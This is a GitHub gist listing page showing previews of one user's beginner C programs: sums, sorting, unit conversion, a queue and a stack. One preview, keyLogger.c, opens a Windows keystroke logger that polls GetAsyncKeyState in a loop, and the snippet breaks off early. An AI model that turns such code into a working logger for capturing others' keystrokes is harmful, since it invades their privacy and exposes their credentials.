Skip to content

Instantly share code, notes, and snippets.

View hrshadhin's full-sized avatar
🏠
Working from home

H.R. Shadhin hrshadhin

🏠
Working from home
View GitHub Profile
@hrshadhin
hrshadhin / sum1to100.c
Last active December 16, 2015 13:49
This program calculate the sum of 1 to 100
#include<stdio.h>
int main()
{
int i,sum=0;
for (i=1;i<=100;i++)
sum +=i;
printf("The sum of the all sequence 1 to %d is %d",100,sum);
return(0);
}
@hrshadhin
hrshadhin / AgeCal.c
Created April 23, 2013 15:25
This program help to calculate age.
#include<stdio.h>
void about(void);
void start(void);
int main()
{
start();
about();
return 10;
}
@hrshadhin
hrshadhin / area.c
Created April 23, 2013 15:31
Calculate area of the circle
#include<stdio.h>
int main()
{
double pi,radius,area;
pi = 3.1416;//define the value of pi
printf("Enter the radius of the circle in cm\n");
scanf("%lf",&radius);
area = pi * radius * radius;
printf("The Area of this circle is %.2f cm\n",area);
getch(0);
@hrshadhin
hrshadhin / bubbleSort.c
Created April 23, 2013 15:46
Bubble Sort with both ascending and descneding order
#include<stdio.h>
int main()
{
int i,te,k,temp;
printf("Enter how many elements in the array>\n");
scanf("%d",&te);//Get total number of array elements by user
int data[te];
printf("Input %d intergers>\n",te);
for(i=0;i<te;i++)//get inputs
@hrshadhin
hrshadhin / MoneyChange.c
Created April 23, 2013 15:53
This program calculate Changes of 50,10,5,1 according to given amount
#include<stdio.h>
#include<math.h>
void instruct(void);
void thanks(void);
int main(void)
{
int change_amount,bill_of_50,bill_of_10,bill_of_5,bill_of_1;
instruct();//call the function of instruction
printf("\n\nEnter the amount of change >\a\n");
scanf("%d",&change_amount);
@hrshadhin
hrshadhin / kms.c
Created April 23, 2013 16:03
Converts distances from miles to kilometers
#include <stdio.h>
#include <stdio.h>
#define KMS_PER_MILES 1.609 /* conversion constant */
int main()
{
double miles,kms;
/*distance in miles,equivalent distance in kilometers*/
printf("Enter the distance in miles\n");//Get the distance in miles
@hrshadhin
hrshadhin / keyLogger.c
Created April 23, 2013 16:07
KeyLogger program
#include <windows.h>
#include <stdio.h>
main()
{
int character;
while(1){
for(character=8;character<=222;character++)
if(GetAsyncKeyState(character)==-32767)
@hrshadhin
hrshadhin / MaxMin.c
Created April 23, 2013 16:12
search minimum and maximum value
#include<stdio.h>
int main()
{
int array[7];
int i,j,search,max;
for(i=0;i<7;i++)
{
printf("Enter ur value of [%d]:\n",i);
scanf("%d",&array[i]);
@hrshadhin
hrshadhin / Queue.c
Created April 23, 2013 16:15
Queue[first in first out]
#include<stdio.h>
void enqueue(int x);
int dequeue(void);
int y;
int head=0;
int tail =0;
int Queue[10];
int count=0;
int main()
{
@hrshadhin
hrshadhin / stack.c
Created April 23, 2013 16:17
Stack[last in first out]
#include<stdio.h>
void push(int x);
int pop(void);
int y;
int stack[2];
int top=0;
int count=0;
int main()
{
int input,i;